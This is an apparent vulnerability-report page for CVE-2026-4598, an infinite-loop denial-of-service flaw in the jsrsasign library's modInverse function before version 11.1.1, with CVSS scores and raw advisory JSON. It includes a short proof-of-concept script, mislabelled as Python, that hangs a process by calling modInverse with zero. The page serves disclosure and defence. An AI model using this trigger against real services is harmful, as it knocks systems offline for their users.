Security Vulnerability Report
中文
CVE-2026-4598 CVSS 7.5 HIGH

CVE-2026-4598

Published: 2026-03-23 06:16:21
Last Modified: 2026-03-23 16:18:04

Description

Versions of the package jsrsasign before 11.1.1 are vulnerable to Infinite loop via the bnModInverse function in ext/jsbn2.js when the BigInteger.modInverse implementation receives zero or negative inputs, allowing an attacker to hang the process permanently by supplying such crafted values (e.g., modInverse(0, m) or modInverse(-1, m)).

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:jsrsasign_project:jsrsasign:*:*:*:*:*:node.js:*:* - VULNERABLE
jsrsasign < 11.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-4598: jsrsasign Infinite Loop // Requires vulnerable version of jsrsasign (< 11.1.1) const jsrsasign = require('jsrsasign'); try { // Create a BigInteger object representing 0 var zero = new jsrsasign.BigInteger('0'); // Create a modulus (e.g., 100) var modulus = new jsrsasign.BigInteger('100'); // Trigger the infinite loop by calling modInverse with 0 // This will cause the process to hang indefinitely console.log('Attempting modInverse(0, 100)...'); var result = zero.modInverse(modulus); console.log('Result:', result); // This line will never be reached } catch (e) { console.log('Error:', e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4598", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:21.300", "lastModified": "2026-03-23T16:18:04.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package jsrsasign before 11.1.1 are vulnerable to Infinite loop via the bnModInverse function in ext/jsbn2.js when the BigInteger.modInverse implementation receives zero or negative inputs, allowing an attacker to hang the process permanently by supplying such crafted values (e.g., modInverse(0, m) or modInverse(-1, m))."}, {"lang": "es", "value": "Versiones del paquete jsrsasign anteriores a la 11.1.1 son vulnerables a un bucle infinito a través de la función bnModInverse en ext/jsbn2.js cuando la implementación de BigInteger.modInverse recibe entradas cero o negativas, permitiendo a un atacante colgar el proceso permanentemente al suministrar dichos valores manipulados (p. ej., modInverse(0, m) o modInverse(-1, m))."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jsrsasign_project:jsrsasign:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.1.1", "matchCriteriaId": "1EBBE1A6-4D19-4ED2-859C-73AFBDA25DEA"}]}]}], "references": [{"url": "https://gist.github.com/Kr0emer/a1bf5cd4547cc630d2dcc5e761de8264", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/kjur/jsrsasign/commit/ca5b027240287a1e71fe63019fc4400332594323", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kjur/jsrsasign/pull/648", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-15370938", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}